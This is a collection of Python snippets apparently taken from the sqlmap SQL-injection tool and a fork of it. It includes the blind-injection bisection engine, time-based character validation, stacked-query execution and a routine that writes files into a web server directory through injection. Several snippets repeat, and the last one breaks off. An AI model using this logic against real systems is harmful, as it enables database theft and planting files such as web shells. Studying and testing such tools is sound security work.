示例#1
0
def _goBooleanProxy(expression):
    """
    Retrieve the output of a boolean based SQL query
    """

    initTechnique(getTechnique())

    if conf.dnsDomain:
        query = agent.prefixQuery(getTechniqueData().vector)
        query = agent.suffixQuery(query)
        payload = agent.payload(newValue=query)
        output = _goDns(payload, expression)

        if output is not None:
            return output

    vector = getTechniqueData().vector
    vector = vector.replace(INFERENCE_MARKER, expression)
    query = agent.prefixQuery(vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)

    timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)

    output = hashDBRetrieve(expression, checkConf=True)

    if output is None:
        output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False)

        if output is not None:
            hashDBWrite(expression, output)

    return output
示例#2
0
        def validateChar(idx, value):
            """
            Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
            """

            validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)

            if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = "'%s'" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
                forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

            result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)

            if result and timeBasedCompare and getTechniqueData().trueCode:
                result = threadData.lastCode == getTechniqueData().trueCode
                if not result:
                    warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, getTechniqueData().trueCode)
                    singleTimeWarnMessage(warnMsg)

            incrementCounter(getTechnique())

            return result
示例#3
0
文件: web.py 项目: bbhunter/nodesql
    def _webFileInject(self, fileContent, fileName, directory):
        outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
        uplQuery = getUnicode(fileContent).replace(
            SHELL_WRITABLE_DIR_TAG,
            directory.replace('/', '\\\\')
            if Backend.isOs(OS.WINDOWS) else directory)
        query = ""

        if isTechniqueAvailable(getTechnique()):
            where = getTechniqueData().where

            if where == PAYLOAD.WHERE.NEGATIVE:
                randInt = randomInt()
                query += "OR %d=%d " % (randInt, randInt)

        query += getSQLSnippet(DBMS.MYSQL,
                               "write_file_limit",
                               OUTFILE=outFile,
                               HEXSTRING=encodeHex(uplQuery, binary=False))
        query = agent.prefixQuery(
            query
        )  # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
        payload = agent.payload(newValue=query)
        page = Request.queryPage(payload)

        return page
示例#4
0
    def sqlQuery(self, query):
        output = None
        sqlType = None
        query = query.rstrip(';')

        for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
            for sqlStatement in sqlStatements:
                if query.lower().startswith(sqlStatement):
                    sqlType = sqlTitle
                    break

        stacked = isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)

        if not stacked:
            for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True):
                _ = getTechniqueData(technique)
                if _ and "stacked" in _["title"].lower():
                    stacked = True
                    break

        if "OPENROWSET" not in query.upper() and (not sqlType or "SELECT" in sqlType):
            infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query)
            logger.info(infoMsg)

            output = inject.getValue(query, fromUser=True)

            return output
        elif not stacked and not conf.direct:
                warnMsg = "execution of custom SQL queries is only "
                warnMsg += "available when stacked queries are supported"
                logger.warn(warnMsg)

                return None
        else:
            if sqlType:
                debugMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query)
            else:
                debugMsg = "executing unknown SQL type query: '%s'" % query
            logger.debug(debugMsg)

            inject.goStacked(query)

            debugMsg = "done"
            logger.debug(debugMsg)

            output = False

        return output
示例#5
0
def goStacked(expression, silent=False):
    if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
        kb.technique = PAYLOAD.TECHNIQUE.STACKED
    else:
        for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True):
            _ = getTechniqueData(technique)
            if _ and "stacked" in _["title"].lower():
                kb.technique = technique
                break

    expression = cleanQuery(expression)

    if conf.direct:
        return direct(expression)

    query = agent.prefixQuery(";%s" % expression)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare="SELECT" in (payload or "").upper())
示例#6
0
def goStacked(expression, silent=False):
    if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
        setTechnique(PAYLOAD.TECHNIQUE.STACKED)
    else:
        for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True):
            _ = getTechniqueData(technique)
            if _ and "stacked" in _["title"].lower():
                setTechnique(technique)
                break

    expression = cleanQuery(expression)

    if conf.direct:
        return direct(expression)

    query = agent.prefixQuery(";%s" % expression)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare="SELECT" in (payload or "").upper())
示例#7
0
def bisection(payload,
              expression,
              length=None,
              charsetType=None,
              firstChar=None,
              lastChar=None,
              dump=False):
    """
    Bisection algorithm that can be used to perform blind SQL injection
    on an affected host
    """

    abortedFlag = False
    showEta = False
    partialValue = u""
    finalValue = None
    retrievedLength = 0

    if payload is None:
        return 0, None

    if charsetType is None and conf.charset:
        asciiTbl = sorted(set(ord(_) for _ in conf.charset))
    else:
        asciiTbl = getCharset(charsetType)

    threadData = getCurrentThreadData()
    timeBasedCompare = (getTechnique()
                        in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:
            pass
        elif PARTIAL_HEX_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")

            if retVal and conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(
                    partialValue)
                logger.info(infoMsg)
        elif PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")

            if retVal and not conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(
                    partialValue)
                logger.info(infoMsg)
        else:
            infoMsg = "resumed: %s" % safecharencode(retVal)
            logger.info(infoMsg)

            return 0, retVal

    if Backend.isDbms(DBMS.MCKOI):
        match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I)
        if match:
            original = queries[Backend.getIdentifiedDbms()].inference.query
            right = original.split('<')[1]
            payload = payload.replace(
                right, "(SELECT %s FROM %s)" % (right, match.group(2).strip()))
            expression = match.group(1).strip()

    elif Backend.isDbms(DBMS.FRONTBASE):
        match = re.search(
            r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z",
            expression, re.I)
        if match:
            payload = payload.replace(
                INFERENCE_GREATER_CHAR, " FROM %s)%s" %
                (match.group(3).strip(), INFERENCE_GREATER_CHAR))
            payload = payload.replace(
                "SUBSTRING", "(SELECT%sSUBSTRING" %
                (match.group(1) if match.group(1) else " "), 1)
            expression = match.group(2).strip()

    try:
        # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
        if conf.predictOutput:
            kb.partRun = getPartRun()
        elif conf.api:
            kb.partRun = getPartRun(alias=False)
        else:
            kb.partRun = None

        if partialValue:
            firstChar = len(partialValue)
        elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
            firstChar = 0
        elif conf.firstChar is not None and (
                isinstance(conf.firstChar, int) or
            (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
            if kb.fileReadMode:
                firstChar <<= 1
        elif hasattr(firstChar,
                     "isdigit") and firstChar.isdigit() or isinstance(
                         firstChar, int):
            firstChar = int(firstChar) - 1
        else:
            firstChar = 0

        if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
            lastChar = 0
        elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or
                                            (hasattr(conf.lastChar, "isdigit")
                                             and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
        elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(
                lastChar, int):
            lastChar = int(lastChar)
        else:
            lastChar = 0

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr,
                                                    nulledCastedField, 1)
            expressionUnescaped = unescaper.escape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.escape(expression)

        if hasattr(length, "isdigit") and length.isdigit() or isinstance(
                length, int):
            length = int(length)
        else:
            length = None

        if length == 0:
            return 0, ""

        if length and (lastChar > 0 or firstChar > 0):
            length = min(length, lastChar or length) - firstChar

        if length and length > MAX_BISECTION_LENGTH:
            length = None

        showEta = conf.eta and isinstance(length, int)

        if kb.bruteMode:
            numThreads = 1
        else:
            numThreads = min(conf.threads or 0, length or 0) or 1

        if showEta:
            progress = ProgressBar(maxValue=length)

        if numThreads > 1:
            if not timeBasedCompare or kb.forceThreads:
                debugMsg = "starting %d thread%s" % (numThreads,
                                                     ("s" if numThreads > 1
                                                      else ""))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if conf.threads == 1 and not any(
            (timeBasedCompare, conf.predictOutput)):
            warnMsg = "running in a single-thread mode. Please consider "
            warnMsg += "usage of option '--threads' for faster data retrieval"
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not any(
            (showEta, conf.api, kb.bruteMode)):
            if isinstance(length, int) and numThreads > 1:
                dataToStdout("[%s] [INFO] retrieved: %s" %
                             (time.strftime("%X"),
                              "_" * min(length, conf.progressWidth)))
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
            else:
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))

        def tryHint(idx):
            with kb.locks.hint:
                hintValue = kb.hintValue

            if payload is not None and len(
                    hintValue or "") > 0 and len(hintValue) >= idx:
                if "'%s'" % CHAR_INFERENCE_MARK in payload:
                    posValue = hintValue[idx - 1]
                else:
                    posValue = ord(hintValue[idx - 1])

                markingValue = "'%s'" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape(
                    "'%s'" % decodeIntToUnicode(posValue))
                forgedPayload = agent.extractPayload(payload) or ""
                forgedPayload = safeStringFormat(
                    forgedPayload.replace(INFERENCE_GREATER_CHAR,
                                          INFERENCE_EQUALS_CHAR),
                    (expressionUnescaped, idx, posValue)).replace(
                        markingValue, unescapedCharValue)
                result = Request.queryPage(agent.replacePayload(
                    payload, forgedPayload),
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(getTechnique())

                if result:
                    return hintValue[idx - 1]

            with kb.locks.hint:
                kb.hintValue = ""

            return None

        def validateChar(idx, value):
            """
            Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
            """

            validationPayload = re.sub(
                r"(%s.*?)%s(.*?%s)" %
                (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER),
                r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)

            if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(
                    validationPayload, (expressionUnescaped, idx, value))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = "'%s'" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape(
                    "'%s'" % decodeIntToUnicode(value))
                forgedPayload = safeStringFormat(
                    validationPayload, (expressionUnescaped, idx)).replace(
                        markingValue, unescapedCharValue)

            result = not Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)

            if result and timeBasedCompare and getTechniqueData().trueCode:
                result = threadData.lastCode == getTechniqueData().trueCode
                if not result:
                    warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (
                        threadData.lastCode, getTechniqueData().trueCode)
                    singleTimeWarnMessage(warnMsg)

            incrementCounter(getTechnique())

            return result

        def getChar(idx,
                    charTbl=None,
                    continuousOrder=True,
                    expand=charsetType is None,
                    shiftTable=None,
                    retried=None):
            """
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if "'%s'" % CHAR_INFERENCE_MARK in payload:
                for char in ('\n', '\r'):
                    if ord(char) in charTbl:
                        charTbl.remove(ord(char))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(
                    payload.replace(INFERENCE_GREATER_CHAR,
                                    INFERENCE_EQUALS_CHAR),
                    (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(getTechnique())

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minValue = charTbl[0]
            firstCheck = False
            lastCheck = False
            unexpectedCode = False

            if continuousOrder:
                while len(charTbl) > 1:
                    position = None

                    if charsetType is None:
                        if not firstCheck:
                            try:
                                try:
                                    lastChar = [
                                        _ for _ in threadData.shared.value
                                        if _ is not None
                                    ][-1]
                                except IndexError:
                                    lastChar = None
                                else:
                                    if 'a' <= lastChar <= 'z':
                                        position = charTbl.index(ord('a') -
                                                                 1)  # 96
                                    elif 'A' <= lastChar <= 'Z':
                                        position = charTbl.index(ord('A') -
                                                                 1)  # 64
                                    elif '0' <= lastChar <= '9':
                                        position = charTbl.index(ord('0') -
                                                                 1)  # 47
                            except ValueError:
                                pass
                            finally:
                                firstCheck = True

                        elif not lastCheck and numThreads == 1:  # not usable in multi-threading environment
                            if charTbl[(len(charTbl) >> 1)] < ord(' '):
                                try:
                                    # favorize last char check if current value inclines toward 0
                                    position = charTbl.index(1)
                                except ValueError:
                                    pass
                                finally:
                                    lastCheck = True

                    if position is None:
                        position = (len(charTbl) >> 1)

                    posValue = charTbl[position]
                    falsePayload = None

                    if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                        forgedPayload = safeStringFormat(
                            payload, (expressionUnescaped, idx, posValue))
                        falsePayload = safeStringFormat(
                            payload,
                            (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
                    else:
                        # e.g.: ... > '%c' -> ... > ORD(..)
                        markingValue = "'%s'" % CHAR_INFERENCE_MARK
                        unescapedCharValue = unescaper.escape(
                            "'%s'" % decodeIntToUnicode(posValue))
                        forgedPayload = safeStringFormat(
                            payload, (expressionUnescaped, idx)).replace(
                                markingValue, unescapedCharValue)
                        falsePayload = safeStringFormat(
                            payload, (expressionUnescaped, idx)).replace(
                                markingValue, NULL)

                    if timeBasedCompare:
                        if kb.responseTimeMode:
                            kb.responseTimePayload = falsePayload
                        else:
                            kb.responseTimePayload = None

                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(getTechnique())

                    if not timeBasedCompare and getTechniqueData() is not None:
                        unexpectedCode |= threadData.lastCode not in (
                            getTechniqueData().falseCode,
                            getTechniqueData().trueCode)
                        if unexpectedCode:
                            if threadData.lastCode is not None:
                                warnMsg = "unexpected HTTP code '%s' detected." % threadData.lastCode
                            else:
                                warnMsg = "unexpected response detected."

                            warnMsg += " Will use (extra) validation step in similar cases"

                            singleTimeWarnMessage(warnMsg)

                    if result:
                        minValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[position:]
                        else:
                            # xrange() - extended virtual charset used for memory/space optimization
                            charTbl = xrange(charTbl[position],
                                             charTbl[-1] + 1)
                    else:
                        maxValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[:position]
                        else:
                            charTbl = xrange(charTbl[0], charTbl[position])

                    if len(charTbl) == 1:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(
                                    maxChar + 1,
                                    (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (
                                    retVal == ord('\n')
                                    and CHAR_INFERENCE_MARK in payload):
                                if (timeBasedCompare or unexpectedCode
                                    ) and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    threadData.validationRun = 0
                                    if (retried or 0) < MAX_REVALIDATION_STEPS:
                                        errMsg = "invalid character detected. retrying.."
                                        logger.error(errMsg)

                                        if timeBasedCompare:
                                            if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                                conf.timeSec += 1
                                                warnMsg = "increasing time delay to %d second%s" % (
                                                    conf.timeSec, 's' if
                                                    conf.timeSec > 1 else '')
                                                logger.warn(warnMsg)

                                            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                                dbgMsg = "turning off time auto-adjustment mechanism"
                                                logger.debug(dbgMsg)
                                                kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl,
                                                       continuousOrder, expand,
                                                       shiftTable,
                                                       (retried or 0) + 1)
                                    else:
                                        errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(
                                            retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        threadData.validationRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = "turning back on time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
            else:
                if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset:
                    errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms(
                    )
                    raise SqlmapUnsupportedFeatureException(errMsg)

                candidates = list(originalTbl)
                bit = 0
                while len(candidates) > 1:
                    bits = {}
                    for candidate in candidates:
                        bit = 0
                        while candidate:
                            bits.setdefault(bit, 0)
                            bits[bit] += 1 if candidate & 1 else -1
                            candidate >>= 1
                            bit += 1

                    choice = sorted(bits.items(),
                                    key=lambda _: abs(_[1]))[0][0]
                    mask = 1 << choice

                    forgedPayload = safeStringFormat(
                        payload.replace(
                            INFERENCE_GREATER_CHAR,
                            "&%d%s" % (mask, INFERENCE_GREATER_CHAR)),
                        (expressionUnescaped, idx, 0))
                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(getTechnique())

                    if result:
                        candidates = [_ for _ in candidates if _ & mask > 0]
                    else:
                        candidates = [_ for _ in candidates if _ & mask == 0]

                    bit += 1

                if candidates:
                    forgedPayload = safeStringFormat(
                        payload.replace(INFERENCE_GREATER_CHAR,
                                        INFERENCE_EQUALS_CHAR),
                        (expressionUnescaped, idx, candidates[0]))
                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(getTechnique())

                    if result:
                        return decodeIntToUnicode(candidates[0])

        # Go multi-threading (--threads > 1)
        if numThreads > 1 and isinstance(length, int) and length > 1:
            threadData.shared.value = [None] * length
            threadData.shared.index = [
                firstChar
            ]  # As list for python nested function scoping
            threadData.shared.start = firstChar

            try:

                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.index:
                            if threadData.shared.index[0] - firstChar >= length:
                                return

                            threadData.shared.index[0] += 1
                            currentCharIndex = threadData.shared.index[0]

                        if kb.threadContinue:
                            val = getChar(
                                currentCharIndex, asciiTbl,
                                not (charsetType is None and conf.charset))
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4629
                        if not isListLike(threadData.shared.value):
                            break

                        with kb.locks.value:
                            threadData.shared.value[currentCharIndex - 1 -
                                                    firstChar] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                progress.progress(threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex,
                                                endCharIndex + 1):
                                    output += '_' if currentValue[
                                        i] is None else filterControlChars(
                                            currentValue[i] if len(
                                                currentValue[i]) == 1 else ' ',
                                            replacement=' ')

                                for i in xrange(length):
                                    count += 1 if currentValue[
                                        i] is not None else 0

                                if startCharIndex > 0:
                                    output = ".." + output[2:]

                                if (endCharIndex - startCharIndex
                                        == conf.progressWidth) and (
                                            endCharIndex < length - 1):
                                    output = output[:-2] + ".."

                                if conf.verbose in (1, 2) and not any(
                                    (showEta, conf.api, kb.bruteMode)):
                                    _ = count - firstChar
                                    output += '_' * (
                                        min(length, conf.progressWidth) -
                                        len(output))
                                    status = ' %d/%d (%d%%)' % (
                                        _, length, int(100.0 * _ / length))
                                    output += status if _ != length else " " * len(
                                        status)

                                    dataToStdout(
                                        "\r[%s] [INFO] retrieved: %s" %
                                        (time.strftime("%X"), output))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = [_ for _ in partialValue]
                value.extend(_ for _ in threadData.shared.value)

            infoMsg = None

            # If we have got one single character not correctly fetched it
            # can mean that the connection to the target URL was lost
            if None in value:
                partialValue = "".join(value[:value.index(None)])

                if partialValue:
                    infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (
                        time.strftime("%X"), filterControlChars(partialValue))
            else:
                finalValue = "".join(value)
                infoMsg = "\r[%s] [INFO] retrieved: %s" % (
                    time.strftime("%X"), filterControlChars(finalValue))

            if conf.verbose in (1, 2) and infoMsg and not any(
                (showEta, conf.api, kb.bruteMode)):
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
        else:
            index = firstChar
            threadData.shared.value = ""

            while True:
                index += 1

                # Common prediction feature (a.k.a. "good samaritan")
                # NOTE: to be used only when multi-threading is not set for
                # the moment
                if conf.predictOutput and len(
                        partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(
                        partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.escape(
                            "'%s'" % commonValue
                        ) if "'" not in commonValue else unescaper.escape(
                            "%s" % commonValue, quote=False)

                        query = getTechniqueData().vector
                        query = agent.prefixQuery(
                            query.replace(
                                INFERENCE_MARKER, "(%s)%s%s" %
                                (expressionUnescaped, INFERENCE_EQUALS_CHAR,
                                 testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(
                            agent.payload(newValue=query),
                            timeBasedCompare=timeBasedCompare,
                            raise404=False)
                        incrementCounter(getTechnique())

                        # Did we have luck?
                        if result:
                            if showEta:
                                progress.progress(len(commonValue))
                            elif conf.verbose in (1, 2) or conf.api:
                                dataToStdout(
                                    filterControlChars(commonValue[index -
                                                                   1:]))

                            finalValue = commonValue
                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms(
                        )].substring.query % (expressionUnescaped, 1,
                                              len(commonPattern))
                        testValue = unescaper.escape(
                            "'%s'" % commonPattern
                        ) if "'" not in commonPattern else unescaper.escape(
                            "%s" % commonPattern, quote=False)

                        query = getTechniqueData().vector
                        query = agent.prefixQuery(
                            query.replace(INFERENCE_MARKER,
                                          "(%s)=%s" % (subquery, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(
                            agent.payload(newValue=query),
                            timeBasedCompare=timeBasedCompare,
                            raise404=False)
                        incrementCounter(getTechnique())

                        # Did we have luck?
                        if result:
                            val = commonPattern[index - 1:]
                            index += len(val) - 1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset,
                                      otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl,
                                  not (charsetType is None and conf.charset))

                if val is None:
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                threadData.shared.value = partialValue = partialValue + val

                if showEta:
                    progress.progress(index)
                elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
                    dataToStdout(filterControlChars(val))

                # Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
                if Backend.getIdentifiedDbms() in (
                        DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY,
                        DBMS.FRONTBASE
                ) and len(
                        partialValue) > INFERENCE_BLANK_BREAK and partialValue[
                            -INFERENCE_BLANK_BREAK:].isspace():
                    finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
                    break
                elif charsetType and partialValue[-1:].isspace():
                    finalValue = partialValue[:-1]
                    break

                if (lastChar > 0 and index >= lastChar):
                    finalValue = "" if length == 0 else partialValue
                    finalValue = finalValue.rstrip(
                    ) if len(finalValue) > 1 else finalValue
                    partialValue = None
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        kb.prependFlag = False
        retrievedLength = len(finalValue or "")

        if finalValue is not None:
            finalValue = decodeDbmsHexValue(
                finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(
                expression,
                "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else
                          PARTIAL_HEX_VALUE_MARKER, partialValue))

    if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)):
        infoMsg = "\r[%s] [INFO] retrieved: %s  %s\n" % (time.strftime(
            "%X"), filterControlChars(finalValue), " " * retrievedLength)
        dataToStdout(infoMsg)
    else:
        if conf.verbose in (1, 2) and not any(
            (showEta, conf.api, kb.bruteMode)):
            dataToStdout("\n")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
            infoMsg = "retrieved: %s" % filterControlChars(finalValue)
            logger.info(infoMsg)

    if kb.threadException:
        raise SqlmapThreadException(
            "something unexpected happened inside the threads")

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue

    return getCounter(
        getTechnique()), safecharencode(_) if kb.safeCharEncode else _
示例#8
0
        def getChar(idx,
                    charTbl=None,
                    continuousOrder=True,
                    expand=charsetType is None,
                    shiftTable=None,
                    retried=None):
            """
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if "'%s'" % CHAR_INFERENCE_MARK in payload:
                for char in ('\n', '\r'):
                    if ord(char) in charTbl:
                        charTbl.remove(ord(char))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(
                    payload.replace(INFERENCE_GREATER_CHAR,
                                    INFERENCE_EQUALS_CHAR),
                    (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(getTechnique())

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minValue = charTbl[0]
            firstCheck = False
            lastCheck = False
            unexpectedCode = False

            if continuousOrder:
                while len(charTbl) > 1:
                    position = None

                    if charsetType is None:
                        if not firstCheck:
                            try:
                                try:
                                    lastChar = [
                                        _ for _ in threadData.shared.value
                                        if _ is not None
                                    ][-1]
                                except IndexError:
                                    lastChar = None
                                else:
                                    if 'a' <= lastChar <= 'z':
                                        position = charTbl.index(ord('a') -
                                                                 1)  # 96
                                    elif 'A' <= lastChar <= 'Z':
                                        position = charTbl.index(ord('A') -
                                                                 1)  # 64
                                    elif '0' <= lastChar <= '9':
                                        position = charTbl.index(ord('0') -
                                                                 1)  # 47
                            except ValueError:
                                pass
